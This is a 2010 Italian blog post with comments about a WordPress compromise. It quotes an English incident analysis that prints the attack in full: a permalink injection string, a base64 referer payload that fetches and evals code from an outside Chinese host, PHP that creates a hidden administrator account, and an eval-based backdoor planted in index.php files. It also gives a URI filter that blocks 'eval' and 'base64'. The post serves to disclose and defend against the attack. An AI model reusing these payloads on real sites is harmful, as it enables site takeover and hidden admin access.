Il 25/02/2010 il mio sito non è stato accessibile poichè uno spiderbot, aveva iniettato inserito nel mio blog un re indirizzamento ad un altro sito(http://p3p0.com/) se si cercava di entrare nel mio sito tramite google o altri motori di ricerca.
Ma cosa è successo ?
L’attacco è stato effettuato da degli spiderbot, che sfruttando dei bug in wordpress sono riusciti ad iniettare del codice nel mio wp-config.php
Il mio wordpress è il 2.9.2 quindi attualmente l’ultima versione.
Uso pochissimi plugin, ma vi posso assicurare che non sono entrati da li.
Questo bot, ha modificato solo il mio file config, inserendo questo codice:
eval(base64_decode("......
Come risolvere e come proteggersi ?
Allora inanzi tutto, se avete un sito con non molte visite, vi consiglio questo:
IPSafer.com
Che mi è stato segnalato da: spotless.
Settare i permessi di sola lettura al file wp-config.php in questo modo, non funzioneranno gli aggiornamenti in teoria, ma prima che esca un aggiornamento facciamo questo accorgimento.
Utilizzare Akismet
E inserire questo codice nel vostro header del template:
< ?php
if (strlen($_SERVER['REQUEST_URI']) > 155 ||
strpos($_SERVER['REQUEST_URI'], "eval") ||
strpos($_SERVER['REQUEST_URI'], "base64")) {
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
} ?>
Che blocca le richieste maggiori a 155 caratteri e che contengono il codice eval o base64 cioè il “virus”
E se siete già stati infettati, togliete il codice eval… dal file wp-config e controllate gli altri file.
E il database.
Anche se da me non cera niente.
Per ora non ho trovato niente che spieghi questo attacco solo un piccolo documento che vi posto:
WordPress eval(base64_decode($_SERVER[HTTP_REFERER])) Hack: Initial AnalysisSeveral sites have been hit recently (including this one) with what is apparently a new vulnerability in WordPress. The attack exploits an apparent vulnerability which allows non-administrative accounts to edit the permalink structure of the site. This is used to inject PHP code that creates an unauthorized administrative WordPress account and attempts to hide the account from the WordPress Web UI via JavaScript injection. It also injects PHP code into several PHP files on the file system and edits permalinks to contain additional code whose intent appears to be to base64 decoded and eval HTTP referer headers.
Initial Attack And Payload
How the vulnerability works is still unclear, but it appears that the attacker must register an account in order to initiate the attack. Upon logging in, the attacker edits the permalink structure to end with:
"/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
This allows the attacker to execute PHP code via the HTTP referer header. The attacker then issues a request to xmlrpc.php with a malicious payload in the HTTP referer header:
219.75.255.131 - - [03/Sep/2009:21:29:49 -0700] "POST /xmlrpc.php HTTP/1.0" 200 394 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdDYXJyb2xXaWdnaW44Mic7JHVzZXJfcGFzcz0nQEhjJnB1VG1IJVRYJztldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbGlua3Mud2Vid29yZHByZXNzLmNuL2RhdGEvc2hvcnRwYXJ0Mi50eHQnKSk7ZXhpdDs=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722"
In our case, the base64 data decodes to:
$role='administrator';$user_login='CarrolWiggin82';$user_pass='@Hc&puTmH%TX';eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;
Payload Execution
The shortpart2.txt file contains the following code:
require_once(ABSPATH.'wp-includes/registration.php');global $wp_version;global $wpdb;
echo '<data>'."\n";
$users_id = $wpdb->get_results("SELECT ID FROM $wpdb->users");
foreach ($users_id as $id){
$my_user=get_userdata($id->ID);
if($my_user->wp_user_level==10){
if(strlen($my_user->user_firstname)>25) wp_delete_user($id->ID);
}
}
echo ''.get_option('siteurl').''."\n".''.$wp_version.''."\n".''.$user_login.''."\n".''.$user_pass.''."\n";
$user_id = wp_create_user($user_login,$user_pass);
$name="...\n\n\n\n\n\n\n\n\n".'<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script></div>';
update_usermeta($user_id, 'first_name', $name);$user = new WP_User($user_id);$user->set_role($role);
update_option('users_can_register',0);print '<register_status>'. get_option('users_can_register').'</register_status>'."\n";echo '</data>'."\n";
This code first deletes all administrative accounts whose first names are longer than 25 characters; this could potentially be a way for the attacker to clean up any previously created administrative accounts in the event that s/he attacks the same site twice. The attacker’s name is then set to contain JavaScript code, which hides the attacker’s administrative account from the WordPress Web interface, and escalates the account to administrative privileges.
Although it is still unclear when or how it happens, several other PHP files are infected with the following malicious code:
gpc_19045 function ($ l19047) (if (is_array ($ l19047)) (foreach ($ l19047 as $ l19045 => $ l19046) $ l19047 [$ l19045] = gpc_19045 ($ l19046);) elseif (is_string ($ l19047) & &
substr($l19047,0,4)=="____") substr ($ l19047, 0,4 )=="____")
{eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;} (eval (base64_decode (substr ($ l19047, 4 )));$ l19047 = null;) return $ l19047;)
if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER); if (empty ($ _SERVER)) $ _SERVER = $ HTTP_SERVER_VARS; array_map ( "gpc_19045", $ _SERVER);
In our case, this code was injected into index.php and Lab/index.php, which may indicate that some automated script was run on teh sever to recursively infect index.php files with the code. There have also been reports of this code being placed into the wp-config.php file and the wp-content/uploads/pass.php file.
Mitigation
Since the initial code execution seems to use xmlrpc.php to execute the malicious payload, we suggest adding a single line reading “exit();” (no quotes) as the first line of PHP code in the xmlrpc.php file in order to mitigate the threat until a suitable patch is produced. Note that the actual vulnerability does not appear to be located in xmlrpc.php, so other avenues of exploitation may still exist.
Cleanup
The blog’s permalink structure should be restored to prevent errors and possible additional exploitation. You should also clean up the above file injections and remove the attacker’s administrative account. The initial user account used by the attacker should also be removed; it will likely be the last account created just before the creation of the malicious administrative account. More detailed information on cleaning up the malicious accounts can be foundhere.
Lino scrive:
26 febbraio 2010 alle 17:45
Grazie per aver condiviso la tua esperienza con tutti noi.
clshack scrive:
26 febbraio 2010 alle 17:49
Ho appena contatto i responsabili di netsons, sperando che mi lascino qualche log, o meglio loro visto che possono sapere, espongano il bug ;)
GREY_FOX scrive:
26 febbraio 2010 alle 20:33
Ho inserito lo snippet che hai suggerito nell’header.. speriamo bene!
C’è un piccolissimo errore nel codice…. il tag iniziale < ?php è staccato… questo non da problemi a chi conosce il linguaggio ma per qualche povero utente che fa copia/incolla potrebbe dare qualche grana!
Ciao :D
Luigi scrive:
26 febbraio 2010 alle 22:02
Gran bella guida, sono ignorante per quanto riguarda il php e WP, ma qualcosa ho seguito poiché mi è capitato di usarlo una volta come piattaforma per un blog.
Certo il tuo livello di conoscenza è notevolmente superiore al mio ;) Continua così!
P.S.: Sapento che utilizzi linux ti consiglio un lettore audio si chiama Exaile, progettato per Gnome. E’ una meraviglia, stabile, facile e con una grafica semplice ma bella.
http://www.exaile.org/downloads
Ciao!
GREY_FOX scrive:
27 febbraio 2010 alle 03:19
@Lugi
Bello exaile ma io preferisco banshee per Gnome… ma mi sa che siamo un pò fuori tema :D
Aldo scrive:
27 febbraio 2010 alle 09:38
Molto simile a quanto mi è successo circa un mese fa e ne parlai qui: http://wp.me/p4yd8-wZ
spotless scrive:
27 febbraio 2010 alle 13:25
ciao, e grazie mille per aver condiviso questa analisi con tutti noi! :)
Tempo fa ho avuto anch’io un attacco simile (senza conseguenze ma questo per altri motivi…): anche in quel caso la tecnica fu quella di far eseguire del codice consegnato nella variabile “HTTP_REFERER” dell’array $_SERVER, e codificato in standard “base64″. Nel mio caso, tuttavia, l’hacker ha utilizzato uno strumento automatico avente come firma “<magic_seo_toolz>”.
Se hai sempre avuto la versione 2.9.2 allora non c’è molto da fare, se non mandare un avviso agli sviluppatori di WordPress.
Se invece avevi una versione precedente (o la 2.8.2 o una precedente) allora si tratta di una debolezza nota, utilizzata tempo fa per un attacco massiccio. In questo caso la patch per risolvere il problema specifico si trova qui, mentre quella che risolve il problema complessivamente la trovi cliccando qui.
clshack scrive:
27 febbraio 2010 alle 15:18
@luigi:
Ehehe grazie luigi per i complimenti ;)
E grazie per la egnalazione del player audio insieme a GREY_FOX :)
@GREY_FOX:
Per il tag php si si ;) è wordpress che fa questo, per impedire che venga inserito del codice php nell’articolo ;)
@ spotless:
Purtroppo spotless ho l’ultima versione di wordpress,
Per fortuna, hanno già segnato a wordpress questo bug sconosciuto qui=>
http://wordpress.org/support/topic/363577
Evidentemente, come previsto non sono l’unico ad essere stato infettato, speriamo presto in una patch.
ciao ;)
clshack scrive:
27 febbraio 2010 alle 16:03
@Aldo:
è si, avevo letto ;)
Speriamo in una patch al più presto ;)
in tanto, quelli di netsons, non mi rispondono più -.-’
evilripper scrive:
27 febbraio 2010 alle 16:35
brutta stroria comunque e’ una cosa strana non ho capito bene come fa a modificare il wp-config, il bot dovrebbe registrarsi:
How the vulnerability works is still unclear, but it appears that the attacker must register an account in order to initiate the attack.
io ho disattivato la registrazione dal mio blog, mentre nel tuo ci si puo’ registrare!! ma e’ voluta questa cosa?
http://www.clshack.it/wp-login.php?action=register
Essendo open source un metodo di difesa piu’ comune e’ cambiare la pagina di amministrazione ora non so se con wp e’ agevole come cosa(wp-admin.php –> in khdsjfdhs.php) e poi e’ chiaro che lasciando i file con tutti i diritti si rischia di piu’ non ricordo se wp richiede 777 per il wp-config, ma mi sembra di no!
ciao
clshack scrive:
27 febbraio 2010 alle 16:40
Il discorso del “il bot dovrebbe registrarsi” ora , non ho provato ancora sul mio wordpress il bug sopracitato, anche perchè quell’articolo l’avevo già letto ed dovrebbe essere la vulnerabilità che affligge wordpress < 2.8.4
Quindi non dovrebbe centrare niente.
Per il file wp-config, boh il mio era settato a 777 non so perchè tutti i permessi nelle cartelle e tutto erano giusti … fatto sta che comunque nessuno dovrebbe avere il permesso di scrivere oppure, di provare a scrivere nel file di wordpres..
Ciao :)
GREY_FOX scrive:
27 febbraio 2010 alle 16:58
@clshack
Per i tag php prova qualche plugin per l’evidenziazione del codice che ce ne stanno a decine… sopratutto per un sito come il tuo nel quale inserisci di continuo codice può essere utile.
@evilripper
Anche il mio blog wp permette la registrazione non vedo cosa ci sia di sbagliato.
Non è possibile modificare il nome di wp-admin.php a meno di non mettere mano pesantemente al codice. Come anche per la cartella wp-admin. Si potrebbe però impostare una restrizione ulteriore su la cartella wp-admin tramite i settaggi di apache in modo da richiedere un’ulteriore pass ma mi sembra troppo eccessivo :D
clshack scrive:
27 febbraio 2010 alle 17:04
@GREY_FOX:
prima o poi, implemento geshi :P ehehe solo che bah dopo mi diventa pesantissimo il sito
@evilripper
si è un po’ improbabile la soluzione che dici tu ;)
però, potrebbe essere fattibile una cosa del genere :P
http://www.webmasterworld.com/apache/3731562.htm
che, costruita nel nostro caso, bloccherebbe su tutto in tutto il sito le stringhe come base64 e cosi via… ;)
ehehe penso che presto lo farò :)
evilripper scrive:
27 febbraio 2010 alle 18:09
@GREY_FOX
no non c’e’ niente di sbagliato, sono solo dell’idea generale che meno cose si lasciano attive meno rischi si corrono ma questo dappertutto!nel mio blog ho deciso io di non mettere la registrazione in quanto se voglio aggiungere degli autori lo faccio io e per commentare i post non occorre essere registrati, quindi non mi serve e non l’abilito! :-D
per cambiare la directory di amministrazione(non e’ un file mi son sbagliato!) dicono che basta fare una specie di refactoring cmq io non lo farei senza i dovuti test offline! :-D
http://wp123.info/modifications/change-wp-admin-folder-name/
ps
comunque dovrebbe essere implementata come feature di wordpress! :-D
ciao
GREY_FOX scrive:
27 febbraio 2010 alle 19:46
@evilripper
Secondo me quella cosa fa solo casini, il core non si tocca!
Speriamo introducano qualcosa con le nuove versioni di wp…
Ferik scrive:
2 marzo 2010 alle 23:55
Credo che non userò più wordpress, troppo labile, giusto oggi 2 Marzo 2010 ho ricevuto un bell’attacco devastante……diffido.
spotless scrive:
3 marzo 2010 alle 14:48
@Ferik
condivido la tua perplessità, effettivamente WordPress si sta rivelando un po’ troppo debole!
@GREY_FOX
non sarei così drastico! se il progetto è “open source” significa che le modifiche sono benvenute soprattutto se rafforzano la robustezza del tutto: per esempio proprio oggi ho notato che è uscita la patch di ipsafer per wordpress 2.9.2, e magari può essere utile applicarla per irrobustire l’installazione di WordPress.
@clshack
bene, speriamo che gli sviluppatori risolvano presto il “buco”. ;)
GREY_FOX scrive:
4 marzo 2010 alle 00:50
@spotless
Certamente le modifiche sono ben venute quando integrate nell progetto… modificando il core da soli si rischia di creare casini al prossimo aggiornamento quello intendevo
clshack scrive:
4 marzo 2010 alle 17:53
@all: ho chiesto a quelli di netsons, di cercare le stringhe iniettate nei loro file log, allora o sono imbecilli e non trovano niente oppure sono entrati non mandando una richiesta, ma dal mio punto di vista, sfruttando i bug del php <=5.2.12….
GREY_FOX scrive:
5 marzo 2010 alle 01:08
cls ho inserito il tuo controllo in un plugin per wordpress cosi lo si può usre anche su gli altri file per wp e non solo per quelli del tema.
Lo trovi qui: http://thedevelopers.netsons.org/wordpress-in-pericolo-plugin-patch/
Ma secondo te 155 caratteri non sono troppo pochi per il requst uri?